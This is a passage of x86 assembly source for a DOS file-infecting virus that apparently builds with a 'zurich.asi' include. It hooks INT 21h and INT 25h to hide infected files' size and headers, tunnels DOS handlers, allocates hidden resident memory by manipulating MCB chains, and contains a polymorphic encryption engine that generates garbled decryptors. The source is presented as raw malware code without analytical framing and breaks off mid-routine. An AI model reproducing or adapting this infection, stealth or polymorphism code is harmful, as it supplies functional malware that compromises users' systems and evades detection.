;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- bfr_3F: ;ret call get_sft test byte ptr es:[di.sf_mode], 3 GOIN NZ cmp word ptr es:[di.sf_position.hi], 0 GOIN NZ mov ax, word ptr es:[di.sf_position.lo] mov [beg_pos_lo], ax cmp ax, 18h DOIF AE call noff DONE IfInfJump Handle call save_seek ;if (cx > f_real_size-pos) cx := f_real_size-pos sub ax, [saved_seek.lo] sbb dx, [saved_seek.hi] DOIF Z MIN , ax ;_CX DONE ret ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- aft_3F: ;ret mov word ptr [st_rd_off], dx mov si, ds ;si:di - buffer mov cx, 1Ch sub cx, [beg_pos_lo] MIN cx, ax ;ax - delta pos mov word ptr [rd_st_cnt],cx IfInfJump Handle ;-+------------------------------------------------------------------------+- call get_sft ;dx:ax - original size, inc byte ptr es:[di.sf_size.1] ;add 100h push si call restore_header dec byte ptr es:[di.sf_size.1] ;sub 100h pop es ; DOIF NC ; mov es, si ;es:di mov cx, [rd_st_cnt] mov di, [st_rd_off] lea si, [vir_heap._exehdr] add si, [beg_pos_lo] rep movsb ; DONE ret ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- bfr_42: cmp al, 2 ;seek_end DOIF E call seek_end call Stealth_Seek ;seek to fake end dec cs:[st_ax] ; mov ax, 4201h DONE retn ;-+------------------------------------------------------------------------+- pblabel Stealth_Seek ;dx:ax => cx:dx ifInfJump Handle mov cx, dx xchg dx, ax jmp dosseek ;-+------------------------------------------------------------------------+- ;comment # ;-+------------------------------------------------------------------------+- bfr_4B: ;show block ; cmp al, 0DBh ; je goto_EXE mov [load_fname], dx mov [load_array], bx push ax call show_block pop ax test al, 1 ;if 4b01(3) need after DOIF Z pblabel noff mov byte ptr cs:retu, opJMPS ;continue21-retu-1 DONE retn ;-+------------------------------------------------------------------------+- pblabel selector21 movseg ds, cs movseg es, cs mov al, ah add al, al ;hach xor al, ah mov di, 8 mov word ptr ds:[(di-8)+arena_owner], di ;cs lea di, functions mov cx, funcnt repne scasb jnz noff lea si, bfr_aft shl cx, 2 sub si, cx lodsw rol ax, cl xor ax, si mov [after_goto], ax ;bfr lodsw ror ax, cl add ax, si mov word ptr [after_dos_goto], ax ;aft ret ;-+------------------------------------------------------------------------+- bfr_4A: bfr_48: ; cmp al, 36h ;for 'Lingvo' compatible ; mov al, 0 ; DOIF NE mov byte ptr cs:[dos_cf], 0 ;al ; DONE ;-+------------------------------------------------------------------------+- bfr_67: pblabel show_block ;ret ;int 2bh call find_mcb DOIF NE ;si=0 mov cx, ds sub bx, cx mov ax, ds:[si.arena_size] sub ax, bx mov cs:[si.arena_size], ax dec bx mov ds:[si.arena_size], bx mov al, byte ptr ds:[si.arena_signature] mov byte ptr ds:[si.arena_signature], 'M' mov byte ptr cs:[si.arena_signature], al DONE ret ;-+------------------------------------------------------------------------+- aft_4B: mov dx, [load_fname] call loadprog ;-+--hide_block------------------------------------------------------------+- aft_48: aft_67: aft_4A: ;ret ;int 2bh pblabel hide_block call find_mcb DOIF E mov ax, cs:[si.arena_size] inc ax add ds:[si.arena_size], ax mov al, byte ptr cs:[si.arena_signature] mov byte ptr ds:[si.arena_signature], al DONE ret ;CRPROC find_mcb, 227Dh ;return ds pblabel find_mcb sub si, si mov ah, 52h call DosCall ;es:[bx][2] - root mcb mov ax, es:[bx][-2] mov bx, cs DO mov ds, ax add ax, word ptr ds:[si.arena_size] inc ax cmp ax, bx CYCLE B ret ;endp ;-+------------------------------------------------------------------------+- pblabel loadprog ifInfJump Name ; mov si, word ptr [exehdr.exe_CS] ; mov di, word ptr [exehdr.exe_SS] push word ptr [exehdr.exe_CS] push word ptr [exehdr.exe_SS] push es call restore_header call dosclose pop es pop di si mov bx, [load_array] sub si, word ptr [exehdr.exe_CS] sub di, word ptr [exehdr.exe_SS] sub word ptr es:Exec1_CS[bx], si sub word ptr es:Exec1_SS[bx], di mov si, word ptr [exehdr.exe_IP] mov di, word ptr [exehdr.exe_SP] mov word ptr es:Exec1_IP[bx], si mov word ptr es:Exec1_SP[bx], di @ret: ret ;loadprog endp ;-+------------------------------------------------------------------------+- bfr_4C: bfr_00: IF @Cpu AND 1 ;x86 push offset noff ELSE ;8086 lea ax, noff ;call aft_49 push ax ;jmp noff ;ret ENDIF bfr_31: aft_31: aft_49: ;ret ;time_test ; call get_cur_time ; sub ax, [last_infect_time] ; cmp ax, INTERVAL_INFECT ;0.5 ¬¨­ ; jl @ret call no_freq_proc mov cs:arena_owner, 8 mov ax, 1600h ;test for MS win int 2Fh cmp ax, 1600h jne @ret mov ax, 5802h call DosCall push ax mov bx, 1 mov ax, 5803h call DosCall mov ax, 5800h call DosCall push ax mov bl, 82h ;high UMB use mov ax, 5801h call DosCall mov ah, 48h mov bx, all_memory_size_p-1 call DosCall DOIF NC sub di, di dec ax mov es, ax ; mov bx, cs ; cmp ax, bx ; DOIF B ; mov es:[di.arena_owner], di ; DOELSE mov cs:[di.arena_owner], di lds si, dword ptr cs:offset25 mov word ptr ds:[si+3], es ; call virus_move ; DONE DONE mov ax, 5801h ;restore pop bx call DosCall mov ax, 5803h ;restore pop bx jmp DosCall ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- pblabel save_seek push ax cx dx call Dostell ;dx:ax - cur pos mov [saved_seek.lo], ax mov [saved_seek.hi], dx pop dx cx ax ret ;save_seek endp ;-+------------------------------------------------------------------------+- pblabel restore_header ;dx:ax - original size ;int 2bh push ax dx call save_seek call crypt_exe_header pop cx dx call DosSeek ;seek lea dx, [heap] ;[exehdr.exe_len_mod_512] mov cx, 16h call DosRead call heap+16h lea si, [heap] lea di, [vir_heap._exehdr.exe_len_mod_512] mov cx, 16h/2 rep movsw pblabel restore_seek mov dx, [saved_seek.lo] mov cx, [saved_seek.hi] jmp dosseek ;restore_seek endp ;restore_header endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel p1 lds si, dword ptr [save_sp] lds si, dword ptr ds:[si+2] mov di, 0ch push si call calculate_crc pop si cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Ch, 0D8h, 2Eh> JE tunnel_detect cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Bh, 0ECh, 0E8h> jne __retn tunnel_detect: ;íâ® ¢ë¯®«­ï¥âáï ⮫쪮 ¯à¨ ¯¥à¢®© ãáâ ­®¢ª¥ ¢¨àãá  ¢ ¯ ¬ïâì movseg es, ss mov cx, 11d lea di, continue21 rep movsb sto_byte opJMPFAR mov ax, 1600h ;â¥áâ ­  ä®àâ®çª¨ int 2Fh cmp ax, 1600h jne __retn mov ax, 3305h ;if BOOT-drive A: or B: int 21h sub dl, 3 jc __retn push ds ;DS:SI - end of tunnel, (so21+TUNNELSIZE) ;--------------------------------------------------------------- ;test for popup program mov di, 2 mov ds, di mov ax, word ptr ds:[(08h*4+2)+(di-2*11h)] cmp ax, word ptr ds:[(13h*4+2)+(di-2*11h)] PASS NE cmp ax, word ptr ds:[(28h*4+2)+(di-2*11h)] DOIF E no_stay_resident: pop ds __retn: ret DONE ;--------------------------------------------------------------- mov ah, 2Fh int 21h ;get DTA push es bx movseg ds, cs lea dx, [vir_heap._exehdr] mov ah, 1Ah int 21h ;set DTA call get_own_name ;ds:dx -curname mov ah, 4Eh int 21h ;find first pop dx ds mov ah, 1Ah int 21h ;set DTA mov ah, 2Ah int 21h ;get system date xor dx, [exehdr.find_buf_date] and dx, 18h ;week only jz no_stay_resident mov ah, 51h int 21h mov es, bx ;es- current PSP dec bx mov ds, bx ;ds- current MCB mov bx, ds:[arena_size] ;ds- size of current block sub bh, (all_memory_size_p shr 8) mov ah, 4Ah int 21h ; increate current block size mov ah, 48h mov bx, all_memory_size_p-1 int 21h ; allocate memory for virus jc no_stay_resident ;cannot allocate memory for virus cmp word ptr es:[0], 20CDh DOIF E sub byte ptr es:[PDB_block_len+1], (all_memory_size_p shr 8)+1 DONE dec ax pop es ;o21 ;so21 -> es:di ;si=o21+0Ch lea di, [si-11d] ;[si-TUNNELSIZE] xchg dx, ax ;ax - future virii segment ;get so25 (ds:si) mov si, 8 mov ds, si lds si, ds:[si][25h*4][-88h] ;so25 -> cs:[offset25] ;int 2bh mov cs:[offset25.lo], si ;ds:si = so25 mov cs:[offset25.hi], ds ; ;store (2Eh, 0FFh, 1Eh, o21+7, 0C7h, 6, o25, s25) -> [so21] ;write TUNNEL sto_byte 2Eh sto_two_byte 0FFh, 1Eh lea ax, [di-3+5] mov [hook], ax inc ax inc ax stosw sto_two_byte 0C7h, 6 sto_word_ si ;o25 sto_word_ ds ;s25 ;move5 [so25] -> ss:(cs:)five_bytes lea di, [vir_heap._five_bytes] movseg es, ss movs5 ;store (0EAh, memory_virentry, AX) -> [so25] movseg es, ds ;s25 lea di, [si-5] sto_byte opJMPFAR sto_word_ xchg dx, ax ;ax - future virii segment stosw mov es, ax ;es - future virii segment ;----move virus to new location------------------------------------------+- ;----setup incubator-----------------------------------------------------+- call get_cur_time add ax, INCUB_TIME mov cs:[last_infect_time], ax pblabel virus_move mov di, VIRUSSTACKSIZE mov si, di lea cx, [heap] ;virus_size segcs rep movsb ; $BEEP$ no_stay: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel trace_cpm mov cx, 1919h push cs push sp ;fake push cx ;for enable trace flag push 0Ch ; ;PUSH 0 1 b push 0 ;push 0 ;PUSH C0h b0 10 ;pblabel ent24 ; mov al, 3 iret ;execute CP/M command ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel tmp1 mov cs:[vir_heap._after_goto], offset p1 call user_proc iret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel call_real_25 pushf push es di si les di, dword ptr cs:[offset25] lea si, [vir_heap._five_bytes] cld SEGCS movsw SEGCS movsw SEGCS movsb pop si di es popf mov cs:[vir_heap._abs_read_drive], al db 09Ah ;call [RealInt25h] pblabel offset25 dd ? pushf push es di ax les di, dword ptr cs:offset25 cld mov al, opJMPFAR ;jmp far stosb lea ax, memory_virentry ;stealth_abs_read stosw mov ax, cs stosw pop ax di es popf ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel memory_virentry pop cs:[ret_sux] push cs:[ret_sux] push ax mov ax, cs:[vir_heap._hook] cmp ax, cs:[ret_sux] pop ax DOIF NE ;"25" call call_real_25 DOIF NC mov cs:[vir_heap._after_goto], offset st25 ;-bfr_base call user_proc DONE ;Äencrypt memoryÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retf ;sssuxx db ? DONE pop dword ptr cs:[ret_hook] add cs:[ret_hook.lo], 6 ; mov cs:[sssuxx], ah ; cmp ah, 4Fh ; DOIF E ; int 2bh ; DONE cmp ah, 51h ;reENTER virus, need for DRDOS DOIF E continue21_1: jmp continue21 DONE mov cs:[vir_heap._after_goto], offset selector21 mov byte ptr cs:[retu], opCMP_ALimm ;retu_off-retu-1 call user_proc ;selector; write new after_goto mov byte ptr cs:[dos_cf], r2-r1 call user_proc ;before DOS of double selector pblabel retu jmp SHORT continue21_1 ; jmp continue21 ;Äencrypt memoryÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;pblabel retu_off call DosCall ;DOS db opSEGCS, 0C7h, 06h dw vir_heap._after_goto pblabel after_dos_goto dw UNINIT db 72h ;jc pblabel dos_cf db r2-r1 pblabel r1 call user_proc ;after DOS pblabel r2 sti ;!!!!!!!!! ;Äencrypt memoryÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retf 2 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel DosTruncate sub cx, cx pblabel doswrite_from_heap lea dx, [heap] ;from heap jmp doswrite ;-+------------------------------------------------------------------------+- pblabel DosWrite_shbuf_22 mov cx, HDRBUFSIZE pblabel DosWrite_shbuf lea dx, [vir_heap._ziphdr] pblabel DosWrite mov ah, 40h jmp DosCall_exc ;-+------------------------------------------------------------------------+- pblabel read_buf_22 mov cx, HDRBUFSIZE pblabel read_buf_cx lea dx, [vir_heap._shift_buffer] pblabel dosread mov ah, 3Fh pblabel DosCall_exc call DosCall jnc $$ret ;®¡à ¡®âª  ®è¨¡®ª „Ž‘  (?) ;int 2bh ; cmp [close_on_error], 3eh ;3e-no close ; DOIF NE ; call dosclose ; DONE jmp rt_err ; ¢®ááâ ­®¢¨âì SP ¨ ¢¥à­ãâìáï ¢ userproc ;-+------------------------------------------------------------------------+- pblabel dosclose mov ah, 3Eh ; mov [close_on_error], ah jmp DosCall_exc ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel dostell xor dx, dx pblabel dosseek_cur_cx_0 xor cx, cx jmp dosseek_cur ;-+------------------------------------------------------------------------+- pblabel dosseek_cur_neg_ax xchg dx, ax pblabel dosseek_cur_neg_dx neg dx jns dosseek_cur_cx_0 ; if dx > 0 ;-+------------------------------------------------------------------------+- pblabel dosseek_cur_cx_1 mov cx, -1 pblabel dosseek_cur mov al, 01h jmp DosSeek_all ;-+------------------------------------------------------------------------+- pblabel dosseek_bof sub dx, dx pblabel dosseek_cx_0 sub cx, cx pblabel dosseek mov al, 00h pblabel DosSeek_all mov ah, 42h pblabel DosCall pushf push cs call continue21 $$ret: ret pblabel seek_end mov al, 02h ;seek_end xor dx, dx xor cx, cx jmp DosSeek_all ;dx:ax - filesize ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel calc_hdr_pages mov cx, 200h ; dx:ax - new size and dx, 0fh div cx mov [exehdr.exe_len_mod_512], dx ;ostatok add dx, -1 ;dec dx ? adc ax, 0 mov [exehdr.exe_pages], ax ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ends end virus_entry include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code extrn offset25 :dword extrn call_real_25 :near extrn restore_header :near extrn stealthname :near extrn test_size :near extrn doscall :near extrn get_sft :near extrn dosread :near extrn heap :near extrn dosclose :near extrn vir_heap :near ;-+------------------------------------------------------------------------+- ;-+-[ stealth 25 ]---------------------------------------------------------+- ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- ; dir entry stealth ; DS:SI = @dir_size_h ;-+------------------------------------------------------------------------+- pblabel Stealth_Abs ifInfJump Buf mov ds:[si+(dir_size_l-dir_size_h)],ax ;stealth patch size in dir entry mov ds:[si+(dir_size_h-dir_size_h)],dx ret ;-+------------------------------------------------------------------------+- ; exe header int25 stealth ? ;-+------------------------------------------------------------------------+- pblabel Stealth_Abs_r ifInfJump Buf push ds MOVSEG ds, ss push ax dx ;real file size lea dx, file_for_fake_open mov ax, 3D40h ;open readonly call DosCall xchg bx, ax ; DPB offset in AX pop dx ax DOIF NC push bx ;handle call get_sft ; mov es:[di.sf_position.lo], ax ; mov es:[di.sf_position.hi], dx push ax dx ;file size inc ah mov es:[di.sf_size.lo], ax mov es:[di.sf_size.hi], dx mov dl, [abs_read_drive] ;<<<<< gluk and byte ptr es:[di+5], 11100000b add byte ptr es:[di+5], dl inc dx ;future: flop no stealth ? (to slow) mov ah, 32h call DosCall mov es:[di.sf_devptr.lo], bx mov es:[di.sf_devptr.hi], ds xor cx, cx mov dx, [start_sec.hi] mov ax, [start_sec.lo] sub ax, ds:dpb_first_sector[bx] sbb dx, cx mov cl, ds:dpb_cluster_mask[bx] inc cx div cx and dx, dx ;if DX != 0 - error DOIF Z inc ax inc ax mov es:[di.sf_firclus], ax mov word ptr es:[di+35h], ax DONE pop dx ax ;file size pop bx push si call restore_header pop di scasw ;add di,2 pop es push es lea si, [heap] mov cx, 16h/2 rep movsw call dosclose DONE pop ds ret file_for_fake_open equ StealthName ;-+------------------------------------------------------------------------+- ; test after absolute read for exe-header & dir entry ;-+------------------------------------------------------------------------+- pblabel st25 mov si, bx xor ax, ax ;AbsDisk_start_sect.hi cmp cx, -1 ;(inc cx, jz)? DOIF E mov dx, ds:[bx.AbsDisk_start_sect.lo] mov ax, ds:[bx.AbsDisk_start_sect.hi] lds si, ds:[bx.AbsDisk_buffer] DONE ;here, DS:SI - read buffer mov [start_sec.hi], ax mov [start_sec.lo], dx push si lea di, [vir_heap._exehdr] MOVSEG es, cs mov cx, HDRBUFSIZE/2 rep movsw pop si call Stealth_Abs_r DO lodsb ;1 cmp al, 0 DOIF Z end_search: ret DONE mov cx, 10d DO lodsb ;0B cmp al, ' ' jb end_search ;no_dir_entry CYCLE LU lodsb ;attr of file ;15 mov cx, 10d DO lodsb ;16 cmp al, 0 ;unused, must be zero jnz end_search ;no_dir_entry CYCLE LU add si, 6 lodsw ;dir_size_l call test_size DOIF Z mov dl, [abs_read_drive] ; = $-1 inc dx ;future: flop no stealth ? (to slow) push ds mov ah, 32h call DosCall mov cl, ds:dpb_cluster_mask[bx] mov ch, 0 inc cx mov bx, ds:dpb_first_sector[bx] pop ds mov ax, ds:(dir_first-dir_size_h)[si] dec ax dec ax cwd mul cx add ax, bx adc dx, 0 ;dx:ax-first sector push ds MOVSEG ds, cs lea bx, [heap] mov word ptr [bx.AbsDisk_start_sect.lo], ax mov word ptr [bx.AbsDisk_start_sect.hi], dx mov word ptr [bx.AbsDisk_sect_num], 1 mov word ptr [bx.AbsDisk_buffer.lo], bx mov word ptr [bx.AbsDisk_buffer.hi], ds mov al, [abs_read_drive] mov cx, -1 call call_real_25 push si mov cx, HDRBUFSIZE/2 lea si, [heap] lea di, [vir_heap._exehdr] movseg es, cs rep movsw pop si pop ds call Stealth_Abs DONE lodsw CYCLE ;-+------------------------------------------------------------------------+- ends end code segment byte public assume cs:code, ds:code, es:code, ss:code INCLUDE ZURICH.ASI extrn dataencriptor :near extrn start_data :near extrn _____ :byte extrn heap :near extrn vir_heap :near extrn get_cur_time :near extrn RANDOMIZE :near extrn dosseek_bof :near extrn read_buf_22 :near .LALL pblabel crypt_exe_header ;int 2bh ; push ax dx ; call dosseek_bof ; call read_buf_22 ; pop dx ax mov si, [exehdr.exe_par_dir] shl si, 4 sub ax, si sbb dx, 0 pblabel crypt_exe_header_custom movseg ds, ss movseg es, ss ;int 2bh ; movseg ds, cs call RANDOMIZE lea si, [vir_heap._exehdr.exe_len_mod_512] lea di, [heap] mov cx, exe_rle_table-exe_len_mod_512 ;14h mov [engdata.zmefl], zmeflHDR jmp ZME_crypt_custom ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel ZME_crypt cld mov [engdata.zmefl], ax mov [_____], al call RND_INIT call get_cur_time mov [last_infect_time], ax mov si, VIRUSSTACKSIZE mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size pblabel ZME_crypt_custom mov [engdata.datasize], cx mov [engdata.targetptr], di rep movsb ;copy data ;< set next version probabilitys [di-virs-VIRUSSTACKSIZE+prEXE] mov [engdata.jmp_after_decrypt], 0 test [engdata.cur_cryptlevel], 80h jz ZME_crypt_ call ZME_crypt_ ;;;double crypt mov di, [engdata.targetptr] mov [engdata.jmp_after_decrypt], ax ; mov [engdata.datasize], cx add di, cx pblabel ZME_crypt_ push bx test [engdata.zmeflags], MASK EN_BFR_GARBL DOIF NZ call RND_GET_BYTE inc ah add [engdata.datasize], ax call shit_ax DONE ;----------------------------------------------------------------------------- ; ZME_INIT lea si, [vir_heap._engdata.cJMP_patch] mov cx, reg6- segm_IDT ; clear the work area with 0's DO mov [si],ch ; inc si ; CYCLE LU pblabel bad_reg DO call RND_GET_THREE_BITS or al,010b ;AL := R_DX, R_BX, R_SI, R_DI cmp al,R_DX CYCLE E ; not R_DX lea bx, [vir_heap._engdata.reg0] mov cx, 7 jmp SHORT ffound DO DO lea si, [vir_heap._engdata.reg0-1] call RND_GET_THREE_BITS pblabel fill_registers inc si cmp si,bx EXIT E cmp al,R_SP REPEAT E cmp al,[si] jne fill_registers CYCLE pblabel ffound mov [bx],al inc bx CYCLE LU call RND_GET_BYTE ; X < decriptor_data + initialIP mov [engdata.value_X],ax ; or X > decriptor_data+initialIP+datasize+2 call RND_GET_BYTE ; Y < decriptor_data + initialIP - X mov [engdata.value_Y],ax ; or Y > decriptor_data+initialIP+datasize+2-X mov cx, [engdata.datasize] sub cx, 20h mov ax, 3 DOIF A DO call RND_GET cmp ax, cx CYCLE A or al,101b DONE mov [engdata.value_J], ax ;value_J := 1..datasize-0E ;----------------------------------------------------------------- mov ax, di sub ax, [engdata.targetptr] push ax ; cmp byte ptr [engdata.zmefl+1], (zmeflOBJ shr 8) and 0FFh ; DOIF E ; lea si, PMtest ; mov cx, 0Fh ; rep movsb ; DONE ;IRP foo, <50,B8,86,16,CD,2F,58,75,06,5F,55,8B,EC,FF,E7> ;sto_byte 0&foo&h ;ENDM ;store test for PM ;mov ax,1600 (1686) ; 0B8h, 86h, 16h, 0CDh, 2Fh, 75, ;int 2f ;cmp ax,1600 ;je real ;pop di ;push bp ;mov bp,sp ;jmp di ;real: test [engdata.zmeflags], MASK EN_SAVE_REGS DOIF NZ IFDEF USE_PUSHA sto_byte opPUSHA ELSE mov cx, 7 lea si, [vir_heap._engdata.reg0] DO lodsb add al, opPUSH_AX stosb CYCLE LU ENDIF DONE mov [engdata.useregs], REG_GARBL_ALL lea si, [di+4] DO push si mov ax, 0Bh*2 call force_not_branch_garble pop si cmp si, di CYCLE A mov cl, [engdata.zmeflags] IF EN_BFR_GARBL shr cl, EN_BFR_GARBL ENDIF and cx, MASK EN_BFR_GARBL DOIF NZ push cx call garble_more_reg_all call encode_int21 pop cx CYCLE LU ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ENCODE_CRYPT_ROUTINE ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov [engdata.useregs], REG_GARBL_ALL ; mov [engdata.begin_sub], 0 ;DON'T ENCODE CALL BACKWARD INTO DECRYPTOR lea si, [dataencriptor] mov cx, CRYPTLEVEL*4 DO mov byte ptr [si], opNOP inc si CYCLE LU mov byte ptr [si], opRETN call garble_more test [engdata.zmeflags], MASK EN_RELOCATOR DOIF NZ ; encode relocator sto_byte opCALL call RND_GET_THREE_BITS inc ax stosw mov [engdata.relocator_base], di call SHIT_AX call garble_more mov al, [engdata.reg0] add al, opPOP_AX ;pop r0 stosb call garble_more call encode_reloc_patch mov [engdata.reloff_1], di stosw call encode_reloc_patch mov [engdata.reloff_2], di stosw DONE call garble_more mov cl, [engdata.reg0] call encode_zero_reg ;encode MOV IDX ,0 call garble_more mov cl, [engdata.reg2] ;encode MOV TMP1, some call 